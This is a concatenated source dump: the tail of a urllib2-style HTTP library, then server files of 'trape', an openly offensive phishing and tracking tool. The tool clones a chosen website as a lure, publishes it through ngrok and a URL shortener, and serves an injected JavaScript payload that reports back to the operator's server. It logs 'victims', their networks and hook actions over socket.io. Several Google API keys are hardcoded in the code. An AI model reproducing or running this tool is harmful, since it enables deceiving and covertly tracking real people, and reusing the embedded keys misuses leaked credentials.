chal['realm'] nonce = chal['nonce'] qop = chal.get('qop') algorithm = chal.get('algorithm', 'MD5') # mod_digest doesn't send an opaque, even though it isn't # supposed to be optional opaque = chal.get('opaque', None) except KeyError: return None H, KD = self.get_algorithm_impls(algorithm) if H is None: return None user, pw = self.passwd.find_user_password(realm, req.get_full_url()) if user is None: return None # XXX not implemented yet if req.has_data(): entdig = self.get_entity_digest(req.get_data(), chal) else: entdig = None A1 = "%s:%s:%s" % (user, realm, pw) A2 = "%s:%s" % (req.get_method(), # XXX selector: what about proxies and full urls req.get_selector()) if qop == 'auth': if nonce == self.last_nonce: self.nonce_count += 1 else: self.nonce_count = 1 self.last_nonce = nonce ncvalue = '%08x' % self.nonce_count cnonce = self.get_cnonce(nonce) noncebit = "%s:%s:%s:%s:%s" % (nonce, ncvalue, cnonce, qop, H(A2)) respdig = KD(H(A1), noncebit) elif qop is None: respdig = KD(H(A1), "%s:%s" % (nonce, H(A2))) else: # XXX handle auth-int. raise URLError("qop '%s' is not supported." % qop) # XXX should the partial digests be encoded too? base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \ 'response="%s"' % (user, realm, nonce, req.get_selector(), respdig) if opaque: base += ', opaque="%s"' % opaque if entdig: base += ', digest="%s"' % entdig base += ', algorithm="%s"' % algorithm if qop: base += ', qop=auth, nc=%s, cnonce="%s"' % (ncvalue, cnonce) return base def get_algorithm_impls(self, algorithm): # algorithm should be case-insensitive according to RFC2617 algorithm = algorithm.upper() # lambdas assume digest modules are imported at the top level if algorithm == 'MD5': def H(x): return hashlib.md5(x).hexdigest() elif algorithm == 'SHA': def H(x): return hashlib.sha1(x).hexdigest() # XXX MD5-sess def KD(s, d): return H("%s:%s" % (s, d)) return H, KD def get_entity_digest(self, data, chal): # XXX not implemented yet return None class HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler): """An authentication protocol defined by RFC 2069 Digest authentication improves on basic authentication because it does not transmit passwords in the clear. """ auth_header = 'Authorization' handler_order = 490 # before Basic auth def http_error_401(self, req, fp, code, msg, headers): host = urllib.parse.urlparse(req.get_full_url())[1] retry = self.http_error_auth_reqed('www-authenticate', host, req, headers) self.reset_retry_count() return retry class ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler): auth_header = 'Proxy-Authorization' handler_order = 490 # before Basic auth def http_error_407(self, req, fp, code, msg, headers): host = req.get_host() retry = self.http_error_auth_reqed('proxy-authenticate', host, req, headers) self.reset_retry_count() return retry class AbstractHTTPHandler(BaseHandler): def __init__(self, debuglevel=0): self._debuglevel = debuglevel def set_http_debuglevel(self, level): self._debuglevel = level def do_request_(self, request): host = request.get_host() if not host: raise URLError('no host given') if request.has_data(): # POST data = request.get_data() if not request.has_header('Content-type'): request.add_unredirected_header( 'Content-type', 'application/x-www-form-urlencoded') if not request.has_header('Content-length'): request.add_unredirected_header( 'Content-length', '%d' % len(data)) sel_host = host if request.has_proxy(): scheme, sel = splittype(request.get_selector()) sel_host, sel_path = splithost(sel) if not request.has_header('Host'): request.add_unredirected_header('Host', sel_host) for name, value in self.parent.addheaders: name = name.capitalize() if not request.has_header(name): request.add_unredirected_header(name, value) return request def do_open(self, http_class, req): """Return an addinfourl object for the request, using http_class. http_class must implement the HTTPConnection API from httplib. The addinfourl return value is a file-like object. It also has methods and attributes including: - info(): return a mimetools.Message object for the headers - geturl(): return the original request URL - code: HTTP status code """ host = req.get_host() if not host: raise URLError('no host given') h = http_class(host, timeout=req.timeout) # will parse host:port h.set_debuglevel(self._debuglevel) headers = dict(req.unredirected_hdrs) headers.update(dict((k, v) for k, v in list(req.headers.items()) if k not in headers)) # We want to make an HTTP/1.1 request, but the addinfourl # class isn't prepared to deal with a persistent connection. # It will try to read all remaining data from the socket, # which will block while the server waits for the next request. # So make sure the connection gets closed after the (only) # request. headers["Connection"] = "close" headers = dict( (name.title(), val) for name, val in list(headers.items())) if req._tunnel_host: tunnel_headers = {} proxy_auth_hdr = "Proxy-Authorization" if proxy_auth_hdr in headers: tunnel_headers[proxy_auth_hdr] = headers[proxy_auth_hdr] # Proxy-Authorization should not be sent to origin # server. del headers[proxy_auth_hdr] h.set_tunnel(req._tunnel_host, headers=tunnel_headers) try: h.request(req.get_method(), req.get_selector(), req.data, headers) except socket.error as err: # XXX what error? h.close() raise URLError(err) else: try: r = h.getresponse(buffering=True) except TypeError: # buffering kw not supported r = h.getresponse() # Pick apart the HTTPResponse object to get the addinfourl # object initialized properly. # Wrap the HTTPResponse object in socket's file object adapter # for Windows. That adapter calls recv(), so delegate recv() # to read(). This weird wrapping allows the returned object to # have readline() and readlines() methods. # XXX It might be better to extract the read buffering code # out of socket._fileobject() and into a base class. r.recv = r.read fp = socket._fileobject(r, close=True) resp = addinfourl(fp, r.msg, req.get_full_url()) resp.code = r.status resp.msg = r.reason return resp class HTTPHandler(AbstractHTTPHandler): def http_open(self, req): return self.do_open(http.client.HTTPConnection, req) http_request = AbstractHTTPHandler.do_request_ if hasattr(httplib, 'HTTPS'): class HTTPSHandler(AbstractHTTPHandler): def https_open(self, req): return self.do_open(http.client.HTTPSConnection, req) https_request = AbstractHTTPHandler.do_request_ class HTTPCookieProcessor(BaseHandler): def __init__(self, cookiejar=None): import http.cookiejar if cookiejar is None: cookiejar = http.cookiejar.CookieJar() self.cookiejar = cookiejar def http_request(self, request): self.cookiejar.add_cookie_header(request) return request def http_response(self, request, response): self.cookiejar.extract_cookies(response, request) return response https_request = http_request https_response = http_response class UnknownHandler(BaseHandler): def unknown_open(self, req): type = req.get_type() raise URLError('unknown url type: %s' % type) def parse_keqv_list(l): """Parse list of key=value strings where keys are not duplicated.""" parsed = {} for elt in l: k, v = elt.split('=', 1) if v[0] == '"' and v[-1] == '"': v = v[1:-1] parsed[k] = v return parsed def parse_http_list(s): """Parse lists as described by RFC 2068 Section 2. In particular, parse comma-separated lists where the elements of the list may include quoted-strings. A quoted-string could contain a comma. A non-quoted string could have quotes in the middle. Neither commas nor quotes count if they are escaped. Only double-quotes count, not single-quotes. """ res = [] part = '' escape = quote = False for cur in s: if escape: part += cur escape = False continue if quote: if cur == '\\': escape = True continue elif cur == '"': quote = False part += cur continue if cur == ',': res.append(part) part = '' continue if cur == '"': quote = True part += cur # append last part if part: res.append(part) return [part.strip() for part in res] def _safe_gethostbyname(host): try: return socket.gethostbyname(host) except socket.gaierror: return None class FileHandler(BaseHandler): # Use local file or FTP depending on form of URL def file_open(self, req): url = req.get_selector() if url[:2] == '//' and url[2:3] != '/' and (req.host and req.host != 'localhost'): req.type = 'ftp' return self.parent.open(req) else: return self.open_local_file(req) # names for the localhost names = None def get_names(self): if FileHandler.names is None: try: FileHandler.names = tuple( socket.gethostbyname_ex('localhost')[2] + socket.gethostbyname_ex(socket.gethostname())[2]) except socket.gaierror: FileHandler.names = (socket.gethostbyname('localhost'),) return FileHandler.names # not entirely sure what the rules are here def open_local_file(self, req): import email.utils import mimetypes host = req.get_host() filename = req.get_selector() localfile = url2pathname(filename) try: stats = os.stat(localfile) size = stats.st_size modified = email.utils.formatdate(stats.st_mtime, usegmt=True) mtype = mimetypes.guess_type(filename)[0] headers = mimetools.Message(StringIO( 'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' % (mtype or 'text/plain', size, modified))) if host: host, port = splitport(host) if not host or \ (not port and _safe_gethostbyname(host) in self.get_names()): if host: origurl = 'file://' + host + filename else: origurl = 'file://' + filename return addinfourl(open(localfile, 'rb'), headers, origurl) except OSError as msg: # urllib2 users shouldn't expect OSErrors coming from urlopen() raise URLError(msg) raise URLError('file not on local host') class FTPHandler(BaseHandler): def ftp_open(self, req): import ftplib import mimetypes host = req.get_host() if not host: raise URLError('ftp error: no host given') host, port = splitport(host) if port is None: port = ftplib.FTP_PORT else: port = int(port) # username/password handling user, host = splituser(host) if user: user, passwd = splitpasswd(user) else: passwd = None host = unquote(host) user = user or '' passwd = passwd or '' try: host = socket.gethostbyname(host) except socket.error as msg: raise URLError(msg) path, attrs = splitattr(req.get_selector()) dirs = path.split('/') dirs = list(map(unquote, dirs)) dirs, file = dirs[:-1], dirs[-1] if dirs and not dirs[0]: dirs = dirs[1:] try: fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout) type = file and 'I' or 'D' for attr in attrs: attr, value = splitvalue(attr) if attr.lower() == 'type' and \ value in ('a', 'A', 'i', 'I', 'd', 'D'): type = value.upper() fp, retrlen = fw.retrfile(file, type) headers = "" mtype = mimetypes.guess_type(req.get_full_url())[0] if mtype: headers += "Content-type: %s\n" % mtype if retrlen is not None and retrlen >= 0: headers += "Content-length: %d\n" % retrlen sf = StringIO(headers) headers = mimetools.Message(sf) return addinfourl(fp, headers, req.get_full_url()) except ftplib.all_errors as msg: raise URLError('ftp error: %s' % msg).with_traceback(sys.exc_info()[2]) def connect_ftp(self, user, passwd, host, port, dirs, timeout): fw = ftpwrapper(user, passwd, host, port, dirs, timeout, persistent=False) fw.ftp.set_debuglevel(1) return fw class CacheFTPHandler(FTPHandler): # XXX would be nice to have pluggable cache strategies # XXX this stuff is definitely not thread safe def __init__(self): self.cache = {} self.timeout = {} self.soonest = 0 self.delay = 60 self.max_conns = 16 def setTimeout(self, t): self.delay = t def setMaxConns(self, m): self.max_conns = m def connect_ftp(self, user, passwd, host, port, dirs, timeout): key = user, host, port, '/'.join(dirs), timeout if key in self.cache: self.timeout[key] = time.time() + self.delay else: self.cache[key] = ftpwrapper( user, passwd, host, port, dirs, timeout) self.timeout[key] = time.time() + self.delay self.check_cache() return self.cache[key] def check_cache(self): # first check for old ones t = time.time() if self.soonest <= t: for k, v in list(self.timeout.items()): if v < t: self.cache[k].close() del self.cache[k] del self.timeout[k] self.soonest = min(self.timeout.values()) # then check the size if len(self.cache) == self.max_conns: for k, v in list(self.timeout.items()): if v == self.soonest: del self.cache[k] del self.timeout[k] break self.soonest = min(self.timeout.values()) def clear_cache(self): for conn in list(self.cache.values()): conn.close() self.cache.clear() self.timeout.clear() ================================================ FILE: core/sockets.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- #** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / #** from socket import gethostname, gethostbyname from threading import Lock from flask import Flask, render_template, session, request, json from flask_socketio import SocketIO, emit, join_room, rooms, disconnect import core.stats import core.user from core.user_objects import attacks_hook_message from core.utils import utils from core.db import Database import sys # Main parts, to generate relationships among others trape = core.stats.trape app = core.stats.app # call database db = Database() async_mode = None socketio = SocketIO(app, async_mode=async_mode) thread = None thread_lock = Lock() db.sentences_victim('clean_online', None, 2) def background_thread(): count = 0 @socketio.on("join", namespace="/trape") def join(message): try: join_room(message['room']) session['receive_count'] = session.get('receive_count', 0) + 1 except Exception as error: pass @socketio.on("my_room_event", namespace="/trape") def send_room_message(message): try: session['receive_count'] = session.get('receive_count', 0) + 1 hookAction = attacks_hook_message(message['data']['type']) utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white']) emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room']) except Exception as error: pass @socketio.on("disconnect_request", namespace="/trape") def disconnect_request(d): try: session['receive_count'] = session.get('receive_count', 0) + 1 emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']}) utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white']) db.sentences_victim('disconnect_victim', d['vId'], 2) except Exception as error: pass @socketio.on("error", namespace="/trape") def socket_def_error(d): pass @socketio.on_error("/trape") def error_handler(e): pass @app.route("/" + trape.home_path) def home(): gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM' if (trape.gmaps != ''): gMaps_free_api_key = trape.gmaps shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' html = trape.injectCSS_Paths(render_template("home.html", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src'])) return html if __name__ == 'core.sockets': try: socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False) except KeyboardInterrupt: socketio.stop() trape.validateLicense.terminate() sys.exit(0) ================================================ FILE: core/stats.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- #** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / #** from core.dependence import urllib2 import sys import os from flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory from flask_cors import CORS from trape import Trape import urllib from core.db import Database # Main parts, to generate relationships among others trape = Trape(1) if getattr(sys, 'frozen', False): template_folder = os.path.join(sys._MEIPASS, 'templates') static_folder = os.path.join(sys._MEIPASS, 'static') app = Flask(__name__, template_folder=template_folder, static_folder=static_folder) else: app = Flask(__name__, template_folder='../templates', static_folder='../static') cors = CORS(app) # call database db = Database() # preview header tool in console trape.header() #print db.firstTime @app.route("/" + trape.stats_path) def index(): return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) @app.route("/" + trape.logout_path) def logout(): return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) @app.route("/login", methods=["POST"]) def login(): id = request.form['id'] if id == trape.stats_key: return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : trape.localIp, 'logout': trape.logout_path, 'rm_path' : trape.remove_path}) else: return json.dumps({'status':'NOPE', 'path' : '/'}) @app.route("/get_data", methods=["POST"]) def home_get_dat(): db.sentences_victim('clean_usersnoping', None, 2) d = db.sentences_stats('get_data') n = db.sentences_stats('all_networks') rows = db.sentences_stats('get_clicks') c = rows[0][0] rows = db.sentences_stats('get_sessions') s = rows[0][0] vId = ('online', ) rows = db.sentences_stats('get_online', vId) o = rows[0][0] injectCode = '' if trape.nGrokUrl != '': injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL) else: injectCode = str(trape.localIp) + ':' + str(trape.app_port) + '/' + str(trape.injectURL) return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o, "ic" : injectCode}) @app.route("/get_preview", methods=["POST"]) def home_get_preview(): vId = request.form['vId'] t = (vId,) d = db.sentences_stats('get_preview', t) n = db.sentences_stats('id_networks', t) h = db.sentences_stats('get_hostsalive', t) return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n, 'h' : h}) @app.route("/get_title", methods=["POST"]) def home_get_title(): opener = urllib.request.build_opener() html = opener.open(trape.url_to_clone).read() html = html[html.find(b'') + 7 : html.find(b'')] return json.dumps({'status' : 'OK', 'title' : html}) @app.route("/get_requests", methods=["POST"]) def home_get_requests(): d = db.sentences_stats('get_requests') return json.dumps({'status' : 'OK', 'd' : d}) @app.route("/get_socialimpact", methods=["POST"]) def home_get_socialimpact(): d = db.sentences_stats('get_socialimpact') return json.dumps({'status' : 'OK', 'd' : d}) @app.route("/" + trape.remove_path, methods=["POST"]) def home_rm_rows(): vId = request.form['vId'] db.sentences_victim('delete_victim', vId, 2) db.sentences_victim('delete_geo', vId, 2) db.sentences_victim('delete_networks', [vId], 2) return json.dumps({'status' : 'OK', 'id' : vId}) @app.route("/pn", methods=["POST"]) def home_putName(): vId = request.form['vId'] name = request.form['n'] db.sentences_victim('update_name', [vId, name], 2) return json.dumps({'status' : 'OK', 'id' : vId}) @app.route("/" + trape.injectURL) def inject(): mPath = '' if getattr(sys, 'frozen', False): mPath = sys._MEIPASS + '/' f_codeToInject = open(mPath + "static/js/inject.js","r") codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src']) f_codeToInject.close() server_code = '' if trape.nGrokUrl != '': server_code = str(trape.nGrokUrl) else: server_code = str(trape.localIp) + ':' + str(trape.app_port) codeToInject = codeToInject.replace('[HOST_ADDRESS]', server_code) codeToInject = codeToInject.replace('[YOUR_GMAPS_API_KEY]', trape.gmaps) return codeToInject @app.route("/static/js/") def busted(JSFile): code = '' mPath = '' if getattr(sys, 'frozen', False): mPath = sys._MEIPASS + '/' for obj in trape.JSFiles: if str(obj['src']) == str(JSFile): s_code = open(mPath + "static/js/" + obj['path'],"r") code = s_code.read() s_code.close() break if code != '': return code else: return render_template('404.html') @app.route("/styles/") def style_redirect(CSSFile): code = '' for obj in trape.CSSFiles: if str(obj['src']) == str(CSSFile): code = obj['path'] break return redirect(code) @app.route("/static/files/") def file_redirect(File): uploads = os.path.join(os.getcwd(), './') return send_from_directory(directory=uploads, filename=File) ================================================ FILE: core/trape.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- #** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / #** import time import json import urllib from core.dependence import urllib2 import http.client import argparse import socket import sys import os from core.utils import utils import subprocess import requests import hashlib, binascii from threading import Timer from multiprocessing import Process import atexit class Trape(object): def __init__(self, stat = 0): self.name_trape = "Trape" self.version = "2.1" self.stats_path = "ngrok" self.home_path = utils.generateToken(18) self.logout_path = utils.generateToken(6) self.remove_path = utils.generateToken(14) self.injectURL = utils.generateToken(12) + '.js' self.stats_key = utils.generateToken(24) self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") self.stat = stat self.localIp = '127.0.0.1' self.nGrokUrl = '' self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},{"path" : "custom.js", "src" : utils.generateToken(12)},) self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},) if self.stat == 1: c = http.client.HTTPConnection('www.google.com', timeout=5) try: c.request("HEAD", "/") c.close() except Exception as e: c.close() utils.Go("\033[H\033[J") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") sys.exit(0) if (not(os.path.exists("trape.config"))): self.trape_config() try: config_trape = json.load(open("trape.config")) except Exception as error: os.remove('trape.config') self.trape_config() self.ngrok = config_trape['ngrok_token'] self.gmaps = config_trape['gmaps_api_key'] self.ipinfo = config_trape['ipinfo_api_key'] if self.gmaps == '': self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs' self.googl = config_trape['gshortener_api_key'] if self.googl == '': self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' parser = argparse.ArgumentParser("python3 trape.py -u <> -p <>") parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_argument('-p', '--port', dest='port', help='Insert your port') parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') parser.add_argument('-l', '--local', dest='local', help='Insert your home file') parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version') options = parser.parse_args() self.type_lure = 'global' # Check current updates if options.update: utils.Go("\033[H\033[J") utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") subprocess.check_output(["git", "reset", "--hard", "origin/master"]) subprocess.check_output(["git", "pull"]) utils.Go("Trape Updated... Please execute again...") sys.exit(0) if options.url is None: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("") options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if options.port is None: options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) while utils.checkPort(int(options.port)) == False: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) #while utils.checkUrl(str(options.url)) == False: options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) utils.Go("") time.sleep(0.1) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) self.localIp = s.getsockname()[0] self.app_port = int(options.port) self.url_to_clone = str(options.url) if self.url_to_clone[0:4] != 'http': self.url_to_clone = 'http://' + self.url_to_clone self.victim_path = options.url.replace("http://", "").replace("https://", "") if (options.ngrok or (self.ngrok != "")): if self.ngrok == '': utils.Go("\033[H\033[J") self.ngrok = input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if (self.ngrok != ''): from core.ngrok import ngrok import os.path as path v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") # Custom name of REST API if (options.injc): self.injectURL = options.injc # Custom access token if (options.accesskey): self.stats_key = options.accesskey # Design principal of the header of trape def header(self): if self.stat == 1: # Principal header of tool utils.banner() # Update verification changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib.request.build_opener() pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n") # Important: in the process of use is possible that will ask for the root def rootConnection(self): pass # Detect operating system, to compose the compatibility def loadCheck(self): utils.checkOS() # the main file (trape.py) def main(self): import core.sockets # Create config file def trape_config(self): utils.Go("\033[H\033[J") utils.Go("----------------------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + 